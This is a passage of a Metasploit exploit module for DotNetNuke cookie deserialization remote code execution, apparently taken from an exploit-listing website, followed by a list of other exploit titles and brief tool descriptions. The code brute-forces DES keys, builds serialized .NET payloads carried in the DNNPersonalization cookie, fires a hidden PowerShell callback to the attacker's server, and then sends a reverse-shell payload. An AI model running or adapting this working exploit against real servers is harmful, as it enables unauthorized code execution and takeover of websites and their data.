              @key_charset.each_byte do |f|
                key[5] = f.chr
                # 7
                @key_charset.each_byte do |g|
                  key[6] = g.chr
                  # 8
                  @key_charset.each_byte do |h|
                    key[7] = h.chr
                    if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
                      elapsed = Time.now - start
                      print_search_status(i, elapsed, total_keys)
                      print_line
                      if @target_idx == 4
                        print_good("Possible Base Key Value Found: " + key)
                      else
                        print_good("KEY Found: " + key)
                        print_good("IV Found: " + @passphrase[8..-1])
                      end
                      vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
                      vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s))
                      return String.new(key)
                    end
                    # Print timing info every 5 million attempts
                    if i % 5000000 == 0
                      print_search_status(i, Time.now - start, total_keys)
                    end
                    i += 1
                  end
                end
              end
            end
          end
        end
      end
    end
    elapsed = Time.now - start
    print_search_status(i, elapsed, total_keys)
    print_line
    print_error("Key not found")
    vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
    vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s))
    return nil
  end

  # ==================================
  # Attempt to decrypt a ciphertext
  # and obtain the IV at the same time
  # ==================================
  def decrypt_data_and_iv(cipher, cipher_text, key)
    cipher.key = key
    begin
      plaintext = cipher.update(cipher_text) + cipher.final
      if @target_idx == 4
        # Target is v9.2.2+
        user_id = plaintext[8, @user_id_pt_length]
        if @user_id_regex.match(user_id)
          return true
        end

        return false
      end

      # This should only execute if the version is 9.1.1 - 9.2.1
      iv = plaintext[0, 8]
      if !@iv_regex.match(iv)
        return false
      end

      # Build encryption passphrase as DNN does.
      @passphrase = key + iv

      # Encrypt the plaintext value using the discovered key and IV
      # and compare with the initial ciphertext
      if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
        @passphrases.push(String.new(key + iv))
        return true
      end
    rescue StandardError
      # Ignore decryption errors to allow execution to continue
      return false
    end
    return false
  end

  def print_search_status(num_tries, elapsed, max_tries)
    msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
    print("\r%bld%blu[*]%clr #{msg}")
  end

  # ===========================
  # Encrypt data using the same
  # pattern that DNN uses.
  # ===========================
  def encrypt_data(cipher, message, passphrase)
    cipher.key = passphrase[0, 8]
    cipher.iv = passphrase[8, 8]
    return cipher.update(message) + cipher.final
  end

  # ===============================================
  # Generate all possible base key values
  # used to create the final passphrase in v9.2.2+.
  # DES weakness allows multiple bytes to be
  # interpreted as the same value.
  # ===============================================
  def generate_base_keys(pos, from_key, new_key)
    if !@unchanged.include? from_key[pos]
      if from_key[pos] % 2 == 0
        new_key[pos] = (from_key[pos] + 1).chr
      else
        new_key[pos] = (from_key[pos] - 1).chr
      end

      if new_key.length == 8
        @possible_keys.add(String.new(new_key))

        # also add key with original value
        new_key[pos] = (from_key[pos]).chr
        @possible_keys.add(String.new(new_key))
      else
        generate_base_keys(pos + 1, from_key, String.new(new_key))

        # also generate keys with original value
        new_key[pos] = (from_key[pos]).chr
        generate_base_keys(pos + 1, from_key, String.new(new_key))
      end
    else
      new_key[pos] = (from_key[pos]).chr
      if new_key.length == 8
        @possible_keys.add(String.new(new_key))
      else
        generate_base_keys(pos + 1, from_key, String.new(new_key))
      end
    end
  end

  # ==============================================
  # Find all possible base IV values
  # used to create the final Encryption passphrase
  # ==============================================
  def find_ivs(cipher_texts, key)
    num_chars = 8 - @kpt.length
    f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/

    @decryptor.key = key
    found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
    # Find all possible IVs for the first ciphertext
    brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])

    # Reduce IV set by testing against other ciphertexts
    cipher_texts.drop(1).each do |cipher_text|
      @possible_ivs.each do |iv|
        @decryptor.iv = iv
        pt = @decryptor.update(cipher_text) + @decryptor.final
        if !f8regex.match(pt[0, 8])
          @possible_ivs.delete(iv)
        end
      end
    end
  end

  # ==========================================
  # A recursive function to find all
  # possible valid IV values using brute-force
  # ==========================================
  def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
    charset = "0123456789abcdef"
    if num_chars_needed == 0
      @decryptor.key = key
      @decryptor.iv = pt_prefix
      pt = @decryptor.update(cipher_text) + @decryptor.final
      iv = pt[0, 8]
      if @iv_regex.match(iv)
        pt = pt_prefix + found_pt
        if encrypt_data(@encryptor, pt, key + iv) == cipher_text
          @possible_ivs.add(String.new(iv))
        end
      end
      return
    end
    charset.length.times do |i|
      brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
    end
  end

  # ========================================
  # Generate all possible payload encryption
  # passphrases for a v9.2.2+ target
  # ========================================
  def generate_payload_passphrases
    phrases = Set.new(@passphrases)
    @possible_keys.each do |key|
      @possible_ivs.each do |iv|
        phrase = Rex::Text.encode_base64(
          encrypt_data(@encryptor, key + iv, key + iv)
        )
        phrases.add(String.new(phrase[0, 16]))
      end
    end
    @passphrases = phrases.to_a
  end

  # ===========================================
  # Test all generated passphrases by initializing
  # an HTTP server to listen for a callback that
  # contains the index of the successful passphrase.
  # ===========================================
  def test_passphrases
    for i in 0..@passphrases.size - 1
      # Stop sending if we've found the passphrase
      if !@passphrase.empty?
        break
      end

      msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size)
      print("\r%bld%blu[*]%clr #{msg}")

      url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
      payload = create_request_payload(url)
      cookie = create_cookie(payload)

      # Encrypt cookie value
      enc_cookie = Rex::Text.encode_base64(
        encrypt_data(@encryptor, cookie, @passphrases[i])
      )
      if @dry_run
        print_line
        print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
        print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
        print_line(enc_cookie)
        break
      end
      execute_command(enc_cookie, host: datastore['RHOST'])
    end
  end

  # ===============================
  # Request handler for HTTP server.
  # ==============================
  def on_request_uri(cli, request)
    # Send 404 to prevent scanner detection
    send_not_found(cli)

    # Get found index - should be the only query string parameter
    if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
      index = request.qstring[get_resource.delete('/').to_s].to_i
      @passphrase = String.new(@passphrases[index])
    end
  end

  # ==============================================
  # Create payload to callback to the HTTP server.
  # Note: This technically exploits the
  # vulnerability, but provides a way to determine
  # the valid passphrase needed to exploit again.
  # ==============================================
  def create_request_payload(url)
    psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\""
    psh_cmd_bytes = psh_cmd.bytes.to_a

    cmd_size_bytes = write_encoded_int(psh_cmd.length)

    # Package payload into serialized object
    payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end

    object_size = write_encoded_int(payload_object.length)

    # Create the final seralized ObjectStateFormatter payload
    final_payload = @osf_header + object_size + payload_object

    b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
    return b64_payload
  end

  # =============================================
  # Reproduce the WriteEncoded method in
  # the native .NET ObjectStateFormatter.cs file.
  # =============================================
  def write_encoded_int(value)
    enc = []
    while (value >= 0x80)
      v = value | 0x80
      enc.push([v].pack("V")[0].unpack1("C*"))
      value >>= 7
    end
    enc.push([value].pack("V")[0].unpack1("C*"))
    return enc
  end

  # =================================
  # Creates the payload cookie
  # using the specified payload
  # =================================
  def create_cookie(payload)
    cookie = "<profile>"\
             "<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\
             "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\
             "[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\
             "Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\
             "Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\
             "<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
             "<ProjectedProperty0>"\
             "<MethodName>Deserialize</MethodName>"\
             "<MethodParameters>"\
             "<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
             "xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\
             ">#{payload}</anyType>"\
             "</MethodParameters>"\
             "<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
             "i:type=\"ObjectStateFormatter\" />"\
             "</ProjectedProperty0>"\
             "</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
             "</item>"\
             "</profile>"
    return cookie
  end

  # =========================================
  # Send the payload to the target server.
  # =========================================
  def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
    uri = normalize_uri(target_uri.path)

    res = send_request_cgi(
      'uri' => uri,
      'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
    )
    if !res
      fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
    elsif res.code == 404
      return true
    elsif res.code == 400
      fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
    else
      fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
    end
  end

  # ======================================
  # Create and send final exploit payload
  # to obtain a reverse shell.
  # ======================================
  def send_exploit_payload
    cmd_payload = create_payload
    cookie_payload = create_cookie(cmd_payload)
    if @encrypted
      if @passphrase.blank?
        print_error("Target requires encrypted payload, but a passphrase was not found or specified.")
        return
      end
      cookie_payload = Rex::Text.encode_base64(
        encrypt_data(@encryptor, cookie_payload, @passphrase)
      )
    end
    if @dry_run
      print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
      print_warning("Printing exploit cookie payload...")
      print_line(cookie_payload)
      return
    end

    # Set up the payload handlers
    payload_instance.setup_handler

    # Start the payload handler
    payload_instance.start_handler

    print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
    execute_command(cookie_payload, host: datastore['RHOST'])
  end

  # ===================================
  # Create final exploit paylod based on
  # supplied payload options.
  # ===================================
  def create_payload
    # Create payload
    psh_cmd = "/b /c start /b /min " + cmd_psh_payload(
      payload.encoded,
      payload_instance.arch.first,
      remove_comspec: true, encode_final_payload: false
    )

    psh_cmd_bytes = psh_cmd.bytes.to_a
    cmd_size_bytes = write_encoded_int(psh_cmd.length)

    # Package payload into serialized object
    payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
    object_size = write_encoded_int(payload_object.length)

    # Create the final seralized ObjectStateFormatter payload
    final_payload = @osf_header + object_size + payload_object
    b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))

    vprint_status("Payload Object Created.")

    return b64_payload
  end
end
Release DateTitleTypePlatformAuthor
2020-05-25"Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)"remotehardwareMetasploit
2020-05-25"Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)"remotewindowsMetasploit
2020-05-22"WebLogic Server - Deserialization RCE - BadAttributeValueExpException (Metasploit)"remotemultipleMetasploit
2020-05-19"Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)"remotephpMetasploit
2020-05-01"Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit)"remotemultipleMetasploit
2020-04-28"Docker-Credential-Wincred.exe - Privilege Escalation (Metasploit)"localwindowsMetasploit
2020-04-20"Unraid 6.8.0 - Auth Bypass PHP Code Execution (Metasploit)"remotelinuxMetasploit
2020-04-17"Nexus Repository Manager - Java EL Injection RCE (Metasploit)"remotelinuxMetasploit
2020-04-16"PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)"remotephpMetasploit
2020-04-16"TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)"remotelinux_mipsMetasploit
2020-04-16"Apache Solr - Remote Code Execution via Velocity Template (Metasploit)"remotemultipleMetasploit
2020-04-16"Liferay Portal - Java Unmarshalling via JSONWS RCE (Metasploit)"remotejavaMetasploit
2020-04-16"VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit)"localmacosMetasploit
2020-04-16"DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)"remotewindowsMetasploit
2020-04-16"ThinkPHP - Multiple PHP Injection RCEs (Metasploit)"remotelinuxMetasploit
2020-04-16"Pandora FMS - Ping Authenticated Remote Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"SharePoint Workflows - XOML Injection (Metasploit)"remotewindowsMetasploit
2020-03-31"Redis - Replication Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-17"ManageEngine Desktop Central - Java Deserialization (Metasploit)"remotemultipleMetasploit
2020-03-17"Rconfig 3.x - Chained Remote Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-10"Nagios XI - Authenticated Remote Command Execution (Metasploit)"remotelinuxMetasploit
2020-03-10"PHPStudy - Backdoor Remote Code execution (Metasploit)"remotephpMetasploit
2020-03-09"Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)"remotemultipleMetasploit
2020-03-09"Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)"remotewindowsMetasploit
2020-03-09"PHP-FPM - Underflow Remote Code Execution (Metasploit)"remotephpMetasploit
2020-03-09"Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)"remotemultipleMetasploit
2020-03-09"OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)"locallinuxMetasploit
2020-03-09"Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit)"remotemultipleMetasploit
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48336/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.